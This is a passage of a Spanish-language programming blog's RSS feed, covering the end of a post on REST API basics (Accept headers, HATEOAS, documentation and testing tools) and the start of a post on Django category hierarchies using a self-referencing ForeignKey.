style=&#34;display:flex;&#34;&gt;&lt;span&gt;/recurso.txt❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/recurso.json❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/recurso.xml❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Entonces como solicito un tipo de archivo en una API REST?&lt;/p&gt;&#xA;&lt;h3 id=&#34;el-cliente-solicita-el-tipo-de-representacion-por-medio-de-cabeceras-headers&#34;&gt;El cliente solicita el tipo de representación por medio de cabeceras (headers)&lt;/h3&gt;&#xA;&lt;p&gt;La representación del recurso a retornar dependerá de la cabecera o header &lt;em&gt;Accept&lt;/em&gt; del cliente, de esta manera podremos devolver diferentes tipos de representaciones de un mismo recurso, en una misma URI.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /v1/recurso HTTP/1.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: api.example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;*GET /v1/recurso HTTP/1.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: api.example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept: application/xml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;que-es-hateoas-y-como-se-relaciona-con-las-apis-rest&#34;&gt;¿Qué es HATEOAS y como se relaciona con las APIs REST?&lt;/h2&gt;&#xA;&lt;p&gt;Las siglas HATEOAS corresponden a &lt;strong&gt;Hypermedia As The Engine Of Applicaton State&lt;/strong&gt; (Hypermedia como el motor del estado de la aplicación).&lt;/p&gt;&#xA;&lt;p&gt;¿Qué es eso? Cuando entras en una página web, esta cuenta con enlaces internos hacia otras páginas del sitio web, generalmente relacionadas entre sí, ya sea video, audio, imágenes, de manera que la navegación sea más fluida.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/HTTPHypermedia.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/HTTPHypermedia.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla de Viajando por ahí con enlaces internos.&#34; width=&#34;971&#34; height=&#34;777&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Ejemplo de enlaces internos en una página web&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Pues HATEOAS nos dice que nuestros clientes deberían de recibir una respuesta de la API desde donde puedan acceder a otros recursos relacionados por medio de hipervínculos.&lt;/p&gt;&#xA;&lt;p&gt;Esto no necesariamente significa una URL&amp;rsquo;s; puede ser un file, un ftp u otros. Pero sí, probablemente para fines prácticos estarás usando URL&amp;rsquo;s la mayor parte del tiempo.&lt;/p&gt;&#xA;&lt;p&gt;En otras palabras, &lt;strong&gt;nuestra API debe ser navegable en ubicación y acciones a partir de una respuesta&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: 1,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nombre&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Eduardo&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;apellido&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Zepeda&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;posts&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://api.example.org/post/1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://api.example.org/post/2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;como-documentar-una-api-rest&#34;&gt;¿Cómo documentar una API REST?&lt;/h2&gt;&#xA;&lt;p&gt;Toda API debería de estar documentada. La documentación debería ser ser clara y sencilla de entender. Afortunadamente ya existen soluciones que ahorran bastante trabajo, permitiéndote documentar los aspectos más básicos de tu API de manera automática.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OpenAPI (Antes Swagger)&lt;/li&gt;&#xA;&lt;li&gt;ReDoc&lt;/li&gt;&#xA;&lt;li&gt;Aglio&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Considera implementarlas en tu proyecto.&lt;/p&gt;&#xA;&lt;p&gt;Inclusive ya hay &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/docker/python-fastapi-el-mejor-framework-de-python/&#34;&gt;frameworks como FastAPI que incluyen la documentación de manera predeterminada en los proyectos.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/Documentacion_swagger.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/Documentacion_swagger.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de imagen de Open API, documentación automática para API REST&#34; width=&#34;1487&#34; height=&#34;239&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Interfaz generada por Open API&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;como-testear-una-api-rest&#34;&gt;¿Cómo testear una API REST?&lt;/h2&gt;&#xA;&lt;p&gt;Cada endpoint de tu API debería estar sometido a pruebas, asegúrate de que devuelvan los códigos de estado correcto para cada combinación de método HTTP y tipo de usuario (autenticado, anónimo, sin permisos, etc.). Para llevar a cabo las pruebas siempre puedes contar con soluciones clásicas como HTTPie o Curl.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, si quieres algo más visual, más amigable, y con mayor facilidad de uso considera el uso herramientas especializadas, tales como Postman, Insomnia o Hoppscotch.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/InsomniaGUI.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/InsomniaGUI.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;GUI, de insomnia, una aplicación para el testeo de una API REST&#34; width=&#34;1271&#34; height=&#34;739&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Interfaz de Insomnia, herramienta para testear APIs&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Para no extender tanto la entrada, la siguiente entrada tratará de algunas cuestiones más subjetivas del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/buenas-practicas-y-diseno-de-una-api-rest/&#34;&gt;diseño y buenas prácticas de una API REST&lt;/a&gt;&#xA; tales como: ¿cómo devolver el JSON correctamente? ¿Cuánto anidar una API? ¿Qué maneras existen para versionar una API?&lt;/p&gt;&#xA;&lt;h2 id=&#34;fuentes-de-referencia&#34;&gt;Fuentes de referencia&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/WhiteHouse/api-standards&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Estándares API de la casa blanca&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/es/docs/Web/HTTP/Methods&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Métodos de petición HTTP&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developers.google.com/search/blog/2010/04/to-slash-or-not-to-slash&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;To slash or not to slash&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/3CQBspS&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Sturgeon, P. (2015). &lt;em&gt;Build Api’s&lt;/em&gt;. Philip J. Sturgeon.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4kcQoiC&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Massé, M. (2012). REST API design rulebook. Sebastopol, CA: O&amp;rsquo;Reilly.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Esta publicación es una guia muy corta de consejos prácticos sobre diseño de APIs REST, no profundizo demasiado en la teoría. Encima, puedo sobre simplificar muchos conceptos en aras de mantener el texto lo más corto y sencillo posible.&lt;/p&gt;&#xA;&lt;p&gt;En la siguiente entrada hablaré de algunas cuestiones más subjetivas como: ¿cómo devolver el JSON correctamente? ¿Cuánto anidar una API? ¿Qué maneras existen para versionar una API REST?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este libro me mostró la manera en que las grandes empresas, como Youtube, Dropbox, Google, etc. diseñan sus sistemas para manejar peticiones astronómicas por segundo. Alex Xu te enseña cómo estructurar réplicas de bases de datos, caché, balanceadores de carga y todos los detalles sobre el diseño de software de clase empresarial, si estás interesado en aprender sobre sistemas que escalan, no debes perderte este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del System Design Interview\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/system-design-interview.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41rodp3\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de System Design Interview y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;El mejor libro para aprender Arquitectura de Software\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Categorias en Django usando ForeignKey hacia self</title>
      <link>https://coffeebytes.dev/es/django/categorias-en-django-usando-foreignkey-hacia-self/</link>
      <pubDate>Wed, 30 Mar 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/categorias-en-django-usando-foreignkey-hacia-self/</guid>
      
      <category>django</category>
      
      <category>databases</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;La agrupación por categorías es bastante recurrente en aplicaciones web, desde películas, cursos o cualquier otro recurso que presente una relación jerárquica hacía otro objeto. En Django existen diferentes maneras de modelar estas relaciones. Probablemente, la primera que se te vendrá a la mente será crear un objeto &lt;em&gt;categoria&lt;/em&gt;, y luego relacionarlo por medio de una &lt;em&gt;ForeignKey&lt;/em&gt; con una &lt;em&gt;subcategoria&lt;/em&gt;, pero si haces esto estarías cayendo en un error, existe una mejor manera.&lt;/p&gt;&#xA;&lt;h2 id=&#34;que-es-una-foreign-key-o-clave-foranea-en-django&#34;&gt;¿Qué es una Foreign Key o clave foránea en Django?&lt;/h2&gt;&#xA;&lt;p&gt;En Django, una foreign key (clave foránea) es un campo utilizado para establecer una relación entre dos modelos en una base de datos relacional. Este campo sirve para crear una relación uno a muchos entre dos modelos, donde un modelo tiene una clave que apunta a otro modelo. La foreign key se utiliza como una referencia a la clave primaria de otro modelo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Team&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Member&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;200&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Un equipo tiene varios miembros&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# models.CASCADE le índica que al borrarse un equipo se borren sus miembros&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    team &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(Team, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;una-subcategoria-o-nivel-por-modelo&#34;&gt;Una subcategoría o nivel por modelo&lt;/h2&gt;&#xA;&lt;p&gt;A lo que me refería con una categoría o nivel por modelo es a algo como esto:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# app/models.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; models&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Category&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# otras propiedades&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;SubCategory&lt;/span&gt;(models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Model):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CharField(max_length&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;256&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# otras propiedades&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    category &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;ForeignKey(Category, related_name&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;subcategories&amp;#34;&lt;/span&gt;, blank&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, null&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;True&lt;/span&gt;, on_delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;models&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;CASCADE)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esta aproximación al problema de las jerarquias en Django luce bien a primera vista. La estructura que resultará será similar a esta:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/categories-in-django-using-foreignkey-to-self/images/CategoriaDjango-1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/categories-in-django-using-foreignkey-to-self/images/CategoriaDjango-1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema de modelo Subcategoría con ForeignKey hacía Categoría en Django&#34; width=&#34;1000&#34; height=&#34;400&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;el-problema-de-usar-un-modelo-por-categoria&#34;&gt;El problema de usar un modelo por categoría&lt;/h3&gt;&#xA;&lt;p&gt;Este esquema funcionará en situaciones donde las jerarquias no se aniden muy profundo, pero ¿qué pasa si esas subcategorías tienen a su 